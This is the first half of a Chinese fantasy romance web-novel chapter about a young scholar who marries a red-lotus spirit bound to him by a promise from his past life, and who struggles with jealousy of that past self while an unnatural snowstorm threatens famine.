荷风入梦(1 / 2)

荷风入梦

和你有关观后无感

若是真的敢问作者何来罪恶

劝人离散有多为难

若美丽的故事来得太晚

他第一次见到她,她在水里,扔了个蓬蓬给他,垆边人似月,皓腕凝霜雪*。百里莲叶大泽,莲叶接天,处暑炎热,他同同窗来避暑,一句诗赞到了嘴边还未吐出就被这朝面的蓬蓬打断了。

他看向她,想说的什么打趣的话都哽住了,面上发热,两眼发直。

赤火一样的颜色在水中悠悠荡开,藕白色的肌肤十分冷冽,蕊金淡色的眼睛望着他,她一笑,唇角弯弯,小小的笑涡盛满淹没他的醉意。

他下意识走向她,脚步迈空,跌进水里。

世界的嘈杂都变得模糊了,一切模糊里,浓烈的赤红最清楚,她的双臂环住他,那样的熟悉,像是做过千次百次一样,她还在笑,仿佛他是多么值得庆幸的事情,她的身躯那样柔软,他连挣扎都怕唐突了她。

她吻了他,渡过一口气,他却惊得呛了水,什么感觉都忘了,被她带上岸就趴在一边咳水,脸憋的通红,脸羞的通红,余光看着旁边的纤纤玉手,冰肌玉骨,指尖温润,吐着水觉得渴。

同窗问他怎么样的话堵在喉咙里。

好家伙我就说你小子好好的游泳冠军怎么会呛水。

“蓝芥”同窗开口,语气极其凉薄,“没事吧?”

他这才反应过来些,拱手道:“多谢姑娘救命之恩。”他连抬眼看都不敢。

“没关系,”声音也好听,像风吹雨落,“以身相许即可。”

呼吸一滞,他猛抬头,初见如旧识的姑娘笑盈盈地望着他,蕊金淡色的眼睛,赤红色的头发湿漉漉地贴着玉一样的脖颈,碧色荷衫勾出一片波澜起伏刀削斧凿。

姑娘说:“公子好,吾是汝前世定下的姻缘。”

他盯着那娇艳的唇,说不出话。

“蓝芥,”同窗心情复杂,“汝流鼻血了。”

姑娘提袖子给他擦血,急急地让他仰着头。

儒生风蓝芥,弱冠之年,娶姑苏莲女。

“姑娘,婚姻大事并非儿戏。”风蓝芥脸皮红透了,眼皮子看看那姑娘,“不知姑娘家在何方,吾好拜会令尊。”

姑娘笑嘻嘻坐堂中,说:“无父无母,汝叫风蓝芥啊。”

“是,还未请教姑娘芳名。”

“吾是红莲,”姑娘伸着身子看他,“吾是精怪,前世约好做汝妻子,今世来应约。”

风蓝芥愣住。

一头赤火的姑娘说:“汝肩胛骨一块有红莲标记,是前世吾留下今生来寻汝的。吾的本相是一朵红莲,前世汝救吾一次,互为好友,汝修众生道,不破情关,便约定,今生为夫妻,吾来应约。”

“姑娘是认真的?”

红莲娇笑,着齐胸襦裙,正红色上襦,碧荷色齐胸裙,绣莲花金色纱大袖,赤火散落,看着他,透过他看着什么人,眼里是纯粹的欢喜。

红莲说:“自然是真的,汝要吾如何证明?”

风蓝芥:“姑娘想如何证明?”

红莲想了想,十指在袖中结了个印,风蓝芥当即感受肩胛的印记热起来,他诧异地抚摸背部,那热度似乎是花盛开的形状。是他生来就有的印记,别人说是笔头、玉簪、花蕾的形状,他自己用镜子看过,他觉得是莲花未盛开的形状。

现在,他的花开了。

红莲说:“吾找到你了。”

儒生忍不住伸手握住她的手,十分感动又心疼,心底涌出怜惜和爱意,来的凶猛,淹没了所有人常,他掉进了一条河,河水不深,却足够沉溺。

红莲就笑了,明眸皓齿,抬了袖子给他擦眼泪:“汝怎么哭了?”

“心有所爱。”儒生说,“难以自持。”

红莲就笑了,两点笑涡,双眸盈盈,握他的手:“但是有些事情吾要说清楚。”

“汝讲,吾听着。”

“吾不能与人类生孕,植物天然与其它种族隔离,吾不能为汝诞下后代,而人类是在乎后代的,汝若是需要,可以同人类□□,但汝必须只爱吾一个,吾是妖,不在乎人类的糜乱,但是汝的心必须只属于吾。”

她说着,面上有些紧张,道:“汝答应的,只爱吾一个。”

妖是认真的,儒生也认真回答:“吾不会有旁的,吾也只有一颗心,爱汝便足够,后嗣也不会有的,吾不要后嗣也没什么,反正家里也没有皇位要传下去。”

妖得了回答,欢欢喜喜地依偎在他怀里。

人类胸膛里只有前世带来的爱,妖满足地闭上眼睛,人类便低下头亲吻她的鬓发。

风蓝芥说自己要娶一个妖的时候,同窗学渊有舟喷了他一脸茶水。

“汝不要命啦?”学渊有舟瞪大眼睛,“先生知道了把腿给打折!”

风蓝芥看看自己的腿,还在,就说:“也没怎么样啊。”

学渊有舟瞪直眼睛,上下打量自己的同窗:“吾单知道汝聪慧讨先生们欢喜,不知道先生们居然能容忍到此。”

风蓝芥打开一把纸扇,道:“耶,好友此言差矣,好友亦是不可多见的良材,先生们不是这么说的吗?”

年轻人脸上立刻有了藏不住的得意。

风蓝芥伸手。

学渊有舟:“?”

“份子钱。”

学渊有舟看好友那张被夸上天的脸,想自己要是打下去会不会被骂死,想了又想,拿出钱袋子。

“吾还以为汝会一拳下来。”

“打不过汝,”学渊有舟咬牙切齿,“若是打得过……”

风蓝芥笑呵呵:“好友啊,若是将吾这张脸打伤,汝才真是小命休矣!”

学渊有舟的拳头又硬了,但是他忍了,问定了日子没有。风蓝芥摇扇子,说明年荷月。“今年吾结了课业,明年去姑苏,汝来了,只能自己煮饭吃。”

“……把钱还来。”

“行吧能有一杯白开。”

“风蓝芥!”

弱冠,还未入世便隐居,风蓝芥也好奇自己这么做会不会不太好,他学的是救济天下的学问,心中自然有抱负,想闯出一番名堂,匡扶正义。

先生问他以后的时候他无言以对。

他一腔爱意,只想现在与心上的妖在一起,哪里想得到以后?

一盆冷水下来,他思前想后,只是道:“学生离不开她的。”

先生叹气:“苦读十数载,情字勘不破,废了,废了。”

“吾不觉得。”门外走进一道人,蓝衣负剑,左手持拂尘,双目清明,落在他身上目光晃动几分,有惊讶和一些熟悉,看先生,问能不能私聊一下。

先生和道人让他出去,再喊他已经过了好久,先生终究是松口,还说让他好好还情。

风蓝芥告退,在府外等道人出来追上去,还未行礼就被扶住肩膀,道人微微笑,正气浩浩,仙意渺渺,风蓝芥道:“前辈——”

道人身子歪了下,受惊一般抬手,道:“唤吾秀灵道人即可。”修仙者,骨之坚秀,达道者,神之最灵*。

“秀灵道……人,”风蓝芥生生把道长该做道人,“多谢道人为吾赞言。”

秀灵道人一脸“要折寿”的样子,道:“不客气不客气。”

风蓝芥:“???”

秀灵道人说:“想好去哪里了吗?”

“姑苏吧。”

“吾知道一处地方,叫莲花镇,传言是因为镇上有一池四季不败的红莲而得名。”秀灵意味深长,“汝可以让伊带汝那里看看。”

“前辈——道人认识红莲?”

“不熟。”秀灵道人说自己还有事,擦着冷汗离开了。

红莲不好住在书院里,他也不愿意做婚前苟合的事情,红莲不在乎这些,找了个水缸,扎进去变作一枝莲花,婷婷静立,含苞欲放。风蓝芥把这缸莲花搬进屋子里时还没觉得有什么不对,晚上洗澡的时候才反应过来。

“……”他默默把自己埋进水里,吐着泡泡,脸红的跟抹了胭脂似的。

水冷下去,冷的受不了他才小小声喊:“红莲。”

没回答,风蓝芥觉得她睡着了,赶紧爬出来把自己擦擦团吧团吧滚进被窝里了,身子都是热的,脸也是热的。风蓝芥骂自己龌龊,心里不干净,红莲心里是爱,连一刻也舍不得分离的寻觅,他心里是恨不得把自己烧干净的欲,只想让那朵莲花盛开给自己看。

读的圣贤书都到狗肚子里去了。他骂自己,看一眼那花蕾,骂一句自己心思不正。

白日做文章也不认真,红莲气得卷了书敲他脑壳:“专心!”

风蓝芥吃痛,但也有些不好意思,道:“吾一见卿卿,心就静不下。”

“文章不想汝想钗裙!”红莲又敲他的脑袋,“整日胡思,早知吾便晚几年再来,省的汝如此荒废!”言罢,提起裙摆就要走。

“红莲!好卿卿!”风蓝芥急忙拦住她,好生求饶,“汝这样讲,好似插了刀子在吾心上,吾到而今才遇见汝,便觉得迟了好多,恨不得日日与汝在一起,若是再晚几年,吾还不得悔恨地杀了自己?”

“说什么胡话!”红莲呵斥,两弯飞眉蹙着,凤眼含火馏水,瞪着他,“不许胡说!什么死不死的!吾等了汝转世几百年年,再来一次要吾如何?”

风蓝芥心内更是疼惜愧疚,只道是吾的错是吾不该。

红莲见他这样,心里也不舒服,叹息着说:“吾也不该和汝互戳心刀子,汝便是好好学习,吾便在旁看着汝就好,吾知道汝心内迷惘,汝尚年幼,人生大好,为吾放弃实在不该。”

“卿卿——”

“汝听吾讲,吾是妖,汝是人,吾比汝见过的任何人活得都要久,所以吾更愿意汝能过好自己的一生,若是吾来应约反而让汝不自在,吾还不如让誓言惩罚吾。”

她说,不要为吾,放弃汝的一生。

红莲说的认真,风蓝芥听得也认真,她说出口的爱意是放开和成全,风蓝芥只觉得心酸,上辈子的愧疚和这辈子的感激。

他握住红莲的手,眼眶发红,说:“吾定不负卿卿这番心意。”

红莲也动容,敲他的脑壳,快学习去!

风蓝芥闲下来会问红莲想去哪里,红莲翻着竹简,闻言,答,随汝,去哪里都可以。风蓝芥心更是感动的稀里哗啦,心内一动,问起了红莲镇。

红莲顿时来了精神,巧笑道:“是汝前世我们遇见的地方,我们在附近还有间房子呢,吾常去打扫,只是许多旧识都不在了。”

风蓝芥心里有些歉疚和酸胀,问:“汝想回去吗?”

红莲放下书简,道:“吾有汝,在汝身边就是回了。”

风蓝芥心里软乎乎的,半个字都说不出,红莲便又拿书敲他脑袋:“那汝呢?想做什么?”

风蓝芥说,做个教书先生如何?

红莲说汝有打算就好,言笑晏晏,看得风蓝芥忍不住伸手,被红莲拿着笔敲手背训斥道好好学习。

风蓝芥说,红莲和书上的妖说的不太一样。

红莲罕见地露出一抹鄙夷和嫌恶,她说,那是人以为的精怪。

婚礼并不简陋,红莲是以人的身份嫁给风蓝芥的,风蓝芥的师长都到了,端坐高堂,儒士的习俗总是复杂的,红莲规规矩矩跨火盆,拜高堂,敬茶。

秀灵道人在一旁,身边有两个弟子,一个着白衣,一个着红衣,粉雕玉琢的金童玉女,那女孩儿头上一朵紫藤花的绢布花簪,睁着明亮亮的眼睛,粉润润的唇含着糖块,说新娘子一定很喜欢新郎官。

秀灵道人看红莲的目光有些复杂,闻言,微微侧头问为什么。

“若非真心喜欢,这么多规矩,换吾早把场子砸了,”女孩儿直言不讳,“吾还会把火盆扣在新郎官头上。”

我教育徒弟是有什么问题吗?秀灵道人问自己,但又觉得没错。

“师……”秀灵道人微微一顿,叹息一声,“新娘子确实很喜爱新郎官的。”

若非真心喜欢,怎么会对瞧不上的人类低头。

红莲隔着红盖头看风蓝芥,笑得开怀,明艳娇媚。

秀灵道人微微叹息。

少年道:“即是所爱,有所牺牲,也是当然。”说着,又掏出一块喜糖给女孩儿,“少吃些,仔细牙疼。”

女孩儿笑出八颗牙齿:“谢谢师兄。”

秀灵道人看长徒眼底的阴郁和明亮,再次怀疑自己的教育是不是出了问题,或者是自己是不是造了什么孽。

“夫妻对拜——”喜婆高声称颂。

风蓝芥双颊泛红,眼眸明亮,他还未饮酒,却觉得自己已经被莲花香薰醉了,自己前世的渴望,今生的钟情,而今与自己终于结为夫妻,他与她,是名正言顺的夫与妻,再也没有什么能将他们分开了。

他听见自己的内心发出一声叹息,即是开心也是担忧。

风蓝芥察觉到视线,来自喜堂外,他微微往外看,除了一池莲花,什么也没看到,扭头时发现红莲也在看那池莲花。

“怎么了?”风蓝芥问自己的夫人。

红莲低声说:“无事。”

“送入洞房——”

秀灵道人端着猪肘子和烧鸡,拎了两坛酒走到莲花池旁边,一只乌龟爬出来,巴掌大,寻常的很,红色的眼睛看道人一眼,爬上肘子啃起来。

秀灵道人有些无奈:“您不如化作人形来参加宴会。”

乌龟慢吞吞吃着肘子。

秀灵道人叹息:“师母最珍惜您和那位了,何必如此让伊伤心?”

乌龟一头栽进酒坛里,扑通一声带着坛子进莲花池里了。

“师尊?”长徒在身后喊他,身如长玉,仙风道骨。

“无事,”秀灵道人叹息着,“兰雪,无事。”

正是荷月,一夜轻雨,本是粉色菡萏,偏弄红莲赤火,窗前红烛涕泪,帐下红被作浪,莺莺嘤嘤,姣姣娇娇,臂弯藏莲鱼,交颈献珠翠。

红莲抚摸风蓝芥的脸,想着另一张一模一样的脸,风蓝芥醒了,看看贴了红字的木窗,还是黑夜,许是凌晨,便吻她的掌心,柔弱无骨,风蓝芥爱极了红莲的嘤咛。

风蓝芥问怎么了。

红莲迷迷糊糊的,被他折腾的有些累,呓语一般困惑,汝的眼睛,怎么不是黑色了?

风蓝芥从黑夜里惊醒。

红莲困顿顿钻进他怀里:“抱紧些,玄桦。”

风蓝芥听到自己体内欢喜的声音,他的手臂不受自己控制地环住自己的新妻,那样珍重又不带□□,似乎是只要拥抱就足够支撑一切了。

但是这不是风蓝芥。

风蓝芥想拥有红莲,把她嵌进身体里,想亲吻她,作弄她,想她粘糊糊地离不开自己,想她和自己连在一起。

我爱她。

她爱……我前世的魂灵。

风蓝芥想那算不算我呢,想了很久很久,想到天明,想到红莲从梦里醒来,红莲在他怀里,笑着吻他的下巴。

风蓝芥忍不住微笑,爱意在体内沸腾。

原先的屋子太久没住人,已经不能呆了,只能重新装修,红莲撸起袖子扛着斧头去山上砍树,被风蓝芥拦住了,他说我们有钱的,娘子。

红莲愣了,然后嘟囔:“汝前世是个穷光蛋来着。”

修道之人,五弊三缺,不怪不怪。风蓝芥叹息着,觉得她鼓着腮帮子也可爱,问红莲想要什么样的屋子。

红莲说:“建个学堂吧。”

风蓝芥看她。

红莲一脸理所当然:“汝不是想做个先生吗?吾看到汝在书中写的了,吾想了,吾除了不喜欢被打扰就没什么,隔开前后院就好了。”

红莲看到了他的野望,并认真思考了他们的以后。

风蓝芥心里酸酸涩涩的,但很满足,美酒汩汩自心田涌出,麻醉一切伤口和不确定。

风蓝芥打趣道:“吾还以为汝会像话本子一样变出一栋豪宅呢。”

红莲说:“吾可以。”

风蓝芥有些困惑。

红莲和他对视,不是很确定地问:“汝等人类都好不劳而获白日做梦吗?”

风蓝芥哑然,决定一会儿把留做资料的什么垃圾志怪全烧了,他笑得有些尴尬,道:“没有,只是好奇。”

红莲点点头,说:“所有的术法都是有代价的,若是施为在己身,便是自己的本事,若是施法外物,让他者捷径,天谴是会悬在头顶的,所有捷径都是要代价的。”

“夫人说的对。”风蓝芥说,拉着红莲的手去镇上找工人去了,自然也看到了那一池似火燃烧的红莲,莲叶茵茵深绿幽蓝,莲花朵朵盛放不败。

莲花池在镇子东边,旁边有一座道观,门牌上刻着朱砂染就的红莲,人来人往,香火鼎盛。“在很多年的旱灾时,吾庇护了这里,”红莲说,“但也没做什么,只是这池水从不干涸,这池莲花从不凋零,吾庇护了很多生命,然后人类在这里定居了,然后汝来了。”

她似乎想到了什么,嘴角上扬几分,眼眸温润几分,注视风蓝芥的目光十分款款,鹅蛋脸,并不是小家碧玉,但也是温婉大方,她用捻熟的语气谈起风蓝芥前世的事情:“汝来了,二话不说就要除妖,吾当时不在,听说汝被镇上人打了一顿,吾回来后,汝就向吾道歉。”

风蓝芥也觉得有趣:“吾做了什么要道歉?”

红莲说:“汝将吾这一池莲花挖了藕,一节都没剩下。镇上把这看作大不敬,道观的道士同汝讲了吾的所为后汝将藕埋回去却发现寻常术法毫无用处,以为将吾的真身给毁了。”

她忍不住掩面而笑。

风蓝芥却一阵心慌,他问然后呢。

“然后吾回来了,被一只妖暗算了,汝将吾视为缚地神,尊重非常,便将那妖赶走了,照料了吾许久,这样一来二去,汝与吾才做了朋友,做了好多年朋友。”红莲还是忍不住笑,“汝当时可是一本正经的很,话还少,吾问什么就说什么,不理,汝能十天半个月不吭一声。”

风蓝芥想想自己绷着脸的样子,也笑了,问:“那汝的真身在这池中吗?”

“不在,”红莲说,“只是吸了吾些许妖气的同类,连化形都做不到,都看修行罢,汝当初将藕节挖出来再放回去并没有如何,只是道法催生不得,吾用了一些术法才救回来。”

风蓝芥感觉很不好意思。

红莲问他要不要去道观看看。

“都是神棍,但建筑有好多年了,吾记不得了,藏书也多,汝去摘朵花吓唬吓唬这些人就可肯借了。”

风蓝芥觉得新奇,走向莲花池,刚伸手,一朵离得近的莲花就自己断茎游向他了。

这算碰瓷吗?风蓝芥听着人们的惊叹,看红莲,红莲似乎在走神,对上他的目光后迅速转过头装作不认识他,肩膀一抽一抽的。

风蓝芥被推搡着捧着那朵莲花进了道观,隔着人群,看见自己的夫人着荷色衫裙,赤发如火,笑得开怀,也就笑得无奈了。

红莲一扭头,脸上的笑就淡了。

秀灵道人反射性腿软,红莲撑住他,不咸不淡道:“别丢玄桦的脸面。”

秀灵道人呐呐应是,“师母。”他喊出口就发觉不妥,怕不是会挨打。

红莲冷着脸让他不可胡言乱语,“吾同玄桦只是朋友,以前吾只当玩笑,而今吾嫁作人妇,玄桦也已转世,不可再胡喊。”

秀灵道人说是,目光翻涌,最后还是深深闭上眼睛藏住那些年轻的情绪,再睁开眼睛仍是一片清明,他说:“红莲夫人。”他觉得心底的石头更大了些。

红莲挂起微笑,那让秀灵道人如鲠在喉,她是骄傲的锋芒的,古怪的不羁的,怎么会变成这样端庄大方的样子,会哄着他说“小秀灵,喊一声师母吾带汝去买糖葫芦”的红衣少女再也不见了。

师尊,为什么要折磨她?

红莲问他有什么事吗?

秀灵道人说没有。他小心翼翼地看了一眼红莲,“师……婚礼的时候,您的一位朋友来了。”

“吾知。”

红莲真心实意笑了,“它们是不会同吾置气的,小秀灵不用担心我们的情谊的。”

秀灵道人松了口气,真心实意,无论如何,他还是希望这个自己在意的长辈有个归宿的,她的归宿绝不会是自己的师尊,人类从来不会妥善对待异类,他很清楚。

“您和……风蓝芥如何?风蓝芥和师尊,差别大吗?”

“挺大的,玄桦不会碰那池莲花,吾骗了几百次也不会摘花,伊却上当了。玄桦也没那么爱笑,玄桦比风蓝芥更沉稳,玄桦也不会来这种闹市一样的地方,玄桦——”

红莲猛地停住。

秀灵道人看着她,希望她能明白人类的谎言有多可怕。

红莲说:“风蓝芥不像玄桦,但是他们的灵魂是同一个,风蓝芥就是玄桦。”

秀灵道人握紧了拳头,骨节泛白,他的师尊一生光明磊落,匡扶正义,却在最后欺骗了一只妖,欺骗了信任他的朋友。

秀灵道人笑不出来,甚至说不出祝贺的词句。

红莲问他镇上的木匠死了吗,秀灵道人说死了很多年了,现在是他的曾曾曾祖孙了。红莲点点头,秀灵道人看不下去,就告辞说有事就找他。

“秀灵,”红莲对着他的背影微微笑,目光有些欣慰,“汝长高了不少。”

秀灵道人的眼睛就湿了。

风蓝芥疲惫地回到旧宅的时候,红莲已经在指挥工人怎么修房子了,见他累的样子吃吃笑,招着手让他过来。

风蓝芥十分无奈,还有被戏弄的怒气,但一看见她在笑,就都化作宠溺缱绻了,红莲摸出一块饴糖填风蓝芥嘴里,羽毛一样的睫毛扑动着,双眸热烈如夕阳下燃烧的湖泊,她张开唇,问:“甜吗?”

风蓝芥就什么脾气都没有了,只能笑得很符合他的年纪,不住地点头。

除草的一个杂工说:“老爷夫人真恩爱,定是前世修来的缘分。”

红莲和风蓝芥都忍不住笑。

红莲镇的学堂叫书山有路,学堂和先生夫人的院子用一堵朱墙和雕花木门隔开了,重门未深锁,学子们常常看见娇艳的先生夫人端着吃食或热汤为批改作业的先生缓一口气,赤发如火,绿裙窈窕,庄重大方,从容不迫。

他们那平日还算靠谱的先生一见夫人就跟受了他们多大委屈似的,坐姿也不端正,愤愤地吃汤抱怨他们好会惹祸,好惹自己生气。

……您夸我们的时候可不是这么说的。

夫人就会很心疼地为先生按压太阳穴,说着“辛苦了”,还会把肩膀借给先生躺,拿起先生的藏书为先生读书。

……学到了。

夫人最讨厌外出,除了和先生一起,很少见她外出,也不喜欢别人指指点点,永远一身齐胸襦裙,被几个老人说不成体统的时候先生直接说,我夫人想怎样就怎样,她开心就好!读书人一个脏字不带把几个嘴碎的骂到动手后,夫人直接一脚一个。先生还很心疼问脚有没有踹疼啊,惹得夫人哭笑不得。第二天有上门挑衅的人,教书先生把人牙打掉的时候还小声提醒惨叫别太大声。

“夫人昨日睡的晚,”教书先生红着脸,“莫吵伊。”

中午的时候夫人来送饭,先生就哭唧唧说今天早上有人趁你睡着了来欺负我,嘤嘤嘤,吓到我了。夫人问是谁家,出了门,半个时辰后扛着那谁家的牌匾回来扔给厨房说烧饭用,记得做糖醋鱼,先生喜欢的。

这对夫妻没有子嗣也有上门说亲的,夫人倒是挺不在乎的,教书先生当场红了眼睛,当着所有人的面问红莲夫人是不是不要他了,还让媒婆滚,哀嚎着娘子娘子夫人夫人卿卿卿卿,夫人被先生的无赖气得瞪圆眼睛,拽着耳朵去了后院,反正第二天先生是一脸容光焕发,夫人是没见到。

这波扮猪吃老虎还得是你啊先生,学生受教了。

风蓝芥先生,吾辈楷模。

“汝看,学渊有舟,”风蓝芥笑呵呵倒茶,“这就是为何吾有妻子,而汝没有。”

学渊有舟目瞪口呆,好友,吾单知道汝会装,没想到汝这么会装。

众学子:感谢您说出吾辈不敢说的。

风蓝芥说:“汝来讨教如何寻觅伴侣,这吾帮不上,上辈子的缘分,不过倒是可以谈谈汝想认识什么样的姑娘。”

学渊有舟说不出个所以然。

风蓝芥并没有嘲笑他,只是问要不要留下,学渊有舟便也就同意了,风蓝芥当即把一大摞纸张给他,“先从批改作业开始吧,学渊有舟先生。”

学渊有舟和他拌几句,看他,端起茶杯啜饮,问:“汝近日有什么烦心事?”

风蓝芥也饮茶,说,没有。

有的。

他在房间里发现了一个箱子,装着裂开的泥娃娃,破旧的布偶,装满灰尘的花瓶,破烂的布料,一幅用力碰就会碎掉的画卷,上面是一个男人,白衣如雪,双眉生漩,负剑持拂尘,俊美英武,正经着一张脸,眼睛从裂开的纸中射出温柔。

玄桦。

风蓝芥问起那些东西,红莲还有些茫然,那张风蓝芥爱极了的脸露出思索的表情,然后毫不在意说:“是以前收拾出来的东西,原来是放在那里了。”

原来她放下玄桦了啊。风蓝芥松了口气:“怎么不同我讲?”

“那些又不重要,”红莲说,揽上风蓝芥洁白的脖颈,“汝在,吾要那些做什么?”

风蓝芥从她眼中看到了倒映着的自己——一个不笑的自己。

他就是红莲怀念玄桦最好的东西——玄桦的灵魂。

红莲喊着风蓝芥的名字,问他怎么了。

她是在担忧我呢,还是记挂玄桦呢?

风蓝芥抚摸着红莲的脸,问:“卿卿同吾,前世,相爱过吗?”

红莲说:“汝讲,我们只是朋友,来世再结为夫妻。”

答非所问。

“红莲,能讲讲汝同伊……吾与汝的过去吗?”

红莲说好啊,玄桦汝当真变了好多,汝以前从不谈以前的。

那不是我的从前,是他的从前,我们都是这个灵魂在不同时刻的不同表相,你爱的那一面永远不会再出现了,我,不是你爱的那一面。

红莲有个朋友不喜欢人类,但是红莲吧,就还能接受。

那时候玄桦有个小弟子,巴巴地喊红莲师母,被玄桦呵斥也不改口,红莲也不明白师母是什么,她有很多称号,妖魔喊她红莲火母,人类喊她莲花圣母,她被他们和它们看作生命的象征,她从来是庇护生命的一方。

她从来不明白为什么她不反驳玄桦会很紧张,然后会有些开心。她不明白,但是玄桦开心就好。

那年上元节,灯火辉煌,小弟子带她去看火树银花,人类超越妖魔神怪的最突出的地方便是他们的进化和创造,莲花花上上万年才掌握的力量,人类用几百年几代人就足够超越。打铁花的汉子并没有什么力量,却创造了妖魔做不出的花朵,盛大绚烂。

玄桦走到她身边,很紧张地问她,来世能不能做他的妻子。

红莲不明白:今生不可以吗?

玄桦那张和旁人没什么区别的两只眼睛一个鼻子一张嘴两只耳朵,人类都是这样的相貌,红莲是用气味和感觉记住这个人的,植物的妖感受到他散发的香味,空气传来的温度,力量的特质,所有的人类都是不一样的,没有相同的人。

玄桦很紧张,他的掌心有汗水的信息,他的体温在升高,他的视线有不一样的触感,玄桦说:今生不行,今生……我们只能做朋友。

他在伤心。

红莲说,要想想。

她没有答应他。

玄桦的弟子在灯火通明的地方跑过来拉红莲的手,开心雀跃都在小脸蛋上,幸福的气息扑满红莲的感受,人类的幼崽喊:娘,那边有糖葫芦!

红莲那时还不会笑,被拉的踉跄几步,黑衣的道人急忙扶住她,又触电一般收回手,保持着朋友的距离。

红莲看他,伸出手,拉他的手。

人来人往,玄桦在下唇留下弯月痕,有着伤痕和老茧的握剑惩恶的手,迟疑着、坚定地、妥善地放在她的手心。

男人,女人,稚童。

父亲,母亲,孩子。

一家三口。

他们曾有过一个家。

只是玄桦从来不承认。

玄桦说他是个出家人,没有家。

他们一起养过一个孩子。

风蓝芥想起的第一个人就是秀灵道人,红莲絮絮叨叨地讲玄桦是怎么捡到小孩儿,一人一妖怎么手忙脚乱把婴儿养到牙牙学语再到人嫌狗弃。

“吾与汝,前世是最好的朋友。”红莲十分肯定地描述着那些伸出又缩回的手,灯火辉煌下的距离,两相对视的沉默。

他们最过分的亲近只是一个牵手。

玄桦小心翼翼将心思放在红莲手中,祈求一个可能的来生。

风蓝芥能想象的到,那是握剑的手,有着修行者从未在乎的伤痕,和拿笔的手不一样,那只手指关节结实有力,有些粗,是力量的象征,颤抖着放入另一只娇小柔软的手中,渴求着今生难以企及的未来。苦行的救世主向不可舍弃的私心求一个来生,他舍弃不了众生,就只能求一个来生。

玄桦因为众生,丢下了红莲的幸福,丢下了他和红莲可能的“家”。

他是个救世的人,红莲是个随心的妖。

风蓝芥觉得痛苦和恐慌,他痛苦于他永远无法取代玄桦在红莲心里的位置——那是被高高放在心尖的梦幻的月光和不可比拟的红宝石,他恐慌于若是红莲发现人类的谎言会不会抛下他——抛下这个镜面一样的替代品。

别爱他,爱我啊,红莲,爱我啊。

红莲触碰男人的手,莫名所以,他身上的害怕和恐惧已经溢出来了,和她以为的谈笑完全不一样,她不明白,为什么玄桦听到过去的事情会变成这样,前世他不喜欢谈过去也是因为害怕过去吗?

既然不喜欢,为什么还要问她呢?

红莲用莲花香安抚风蓝芥,温柔地抚摸他的头发。

风蓝芥在她怀里喘息好久,才开口,问:“红莲后来为什么改变心意了?”

红莲想想,歪头,说:“吾不想讲。”

风蓝芥抬起头,问为什么不想讲。

红莲指着心口,汝死了,吾难过。

风蓝芥更难过了,他说,红莲,红莲,吾会活很久很久的,卿卿,爱吾吧,卿卿,爱吾吧。

红莲不明白,但是她说:“植物不会说谎,吾爱汝,前世爱玄桦,今生爱风蓝芥,吾爱汝的魂灵。”

红莲亲吻风蓝芥的额头,纯洁无垢,在日光下,她的化形散发着不可言说的光芒,那是人想象不到的艳丽和纯粹,妖和神的光。玄桦敬爱这样的神,风蓝芥这么想,吾只想渎神。

红莲顺着人类的力气倒在浅蓝色的布料里,花瓣化作的火烧一样的头发落在鸳鸯瓷枕上,人类亲吻妖的额心,金色大袖被推下藕色的肩头,蝴蝶结飞离绿色襦裙,妖任由人类剥下伪装,沉沦在自己的妖气里。

“卿卿,卿卿。”人类渴求地喊着。

红莲应着,盯着红色的布幔,有些失神,玄桦喊她从来是莲花。

“莲花。”记忆里的男人喊她也是庄重、珍重的,玄桦从来不会这样对她。

玄桦,玄桦,汝的转世,怎么一点都不像汝啊?气味不像、触觉不像、特质也不像,玄桦,汝不是讲,来生同吾做夫妻吗?

风吹过来的时候,红莲是第一个感受到的,但是她没有太在意,她从来不做违逆自然的事情,除了一池莲花,她从来不做什么。

哪怕是盛夏飞雪,那池莲花也没凋谢,红艳似火。红莲没跟任何生命讲过那池莲花深处的再深处埋着亲友的子嗣,那具尸骨从未被发现过,莲花遮挡了尸骨的妖气,炼化着大妖的血脉。

“师母,”学生们朝她行礼,“这么大雪,您出门做什么?”

“去看莲花。”红莲浅笑着讲,“近日变天,莫乱跑。”

“学生知道,也不知怎么,分明是盛夏,怎么就作飞雪,莫不是有什么冤案?”

“半神乱世罢了。”红莲喃喃。

学生们没听清楚,红莲摆手让他们离开,听见他们讨论其中一个跟着父辈去东方行商的时候在海里遇到鲛人的学生,那鲛人还叫什么“许多海菜”的奇怪名字,他们都用开玩笑的语气,红莲撑伞看站在廊下的孤零零的一个影子,闻到了海的气息,是强者的气味。

深海鲛人极为罕见,这个人类的血脉此后都不会被不长眼的小妖小魔打扰了。

红莲往书房走,学渊有舟和风蓝芥瑟瑟发抖,红莲十分无奈,微微晃左手,四指于袖内,小指点红光,划过如红线,屋内便很快暖和了。

“谢谢嫂嫂。”学渊有舟喝着热水。

“无妨。”红莲说,风蓝芥为她脱下斗篷,问莲花怎么样。

“还好,不会凋零的。”红莲说,拢了他的手在手心,呵着热气搓手。

学渊有舟:……吾酸了。

学渊有舟愤愤撇过头,又扭头,正色问红莲知不知道发生了什么,红莲没说话,涉及非人的妖魔怪物,红莲总是不肯多说的,她望着窗外飞雪,两个人类以为她也不知道,就没再多问。

下雪的第七天,学堂停课了,太冷了,学生佣人们都没办法继续,除了红莲出门看莲花的时候顺便扛点木头回来,没有修行的凡人都出不了门,修为一般的学渊有舟哆哆嗦嗦,墨水都磨不成,风蓝芥也够呛,他出去一趟回来一宿没睡,抓着学渊有舟钻书房看农耕的书。

“这场雪过后肯定有饥荒。”儒士眼中有深深的担忧,学渊有舟也撑着翻往年的记录。

红莲知道“饥荒”并不是单单指饥饿,还有荒乱,兵荒马乱。她活的太久了,见证了许多饥荒,旱灾涝灾,天灾人灾,最直接的体现就是饥荒,人是一种吃饱了也会做疯事的生物,饿疯了能做出更疯的事情。

她见过很多。

红莲看两个儒士,挑灯不语。

第十天,有和尚找上门了,看见红莲当即脸色大变,红莲没理他们,撑着伞去看自己那一池莲花,大雪纷纷,纸伞如白帆,红衣如梅,步影摇曳不留痕,平静而超然。她始终无法共情人类,扮作人就足够疲累了。

旧时有人讲柳絮可比纷飞雪,这是不一样的,红莲想,这些雪可比柳的种子危险多了。

她不是那么刚强的妖,没有坚硬的筋骨,这样柔和的妖气怎么抵御半神的冰雪,只得再开一重结界给这些花,护着温。风中摇曳的树说女怪经过的地方死了很多,这不应该,女怪都呆在北方的北方,神的力量在尘世行走,带来的只有毁灭。

“那只女怪疯掉了。”一只鹰落在树梢上。

“怎么疯掉的?”红莲问。

植物们说不出个所以然,北方太冷了,它们去不了那么冷的地方。红莲思索,对鹰问:“大王如何?”

“大王仍在闭关,自从……”

红莲不说话,自从她离开妖境后,那只猴子就不出洞府了。

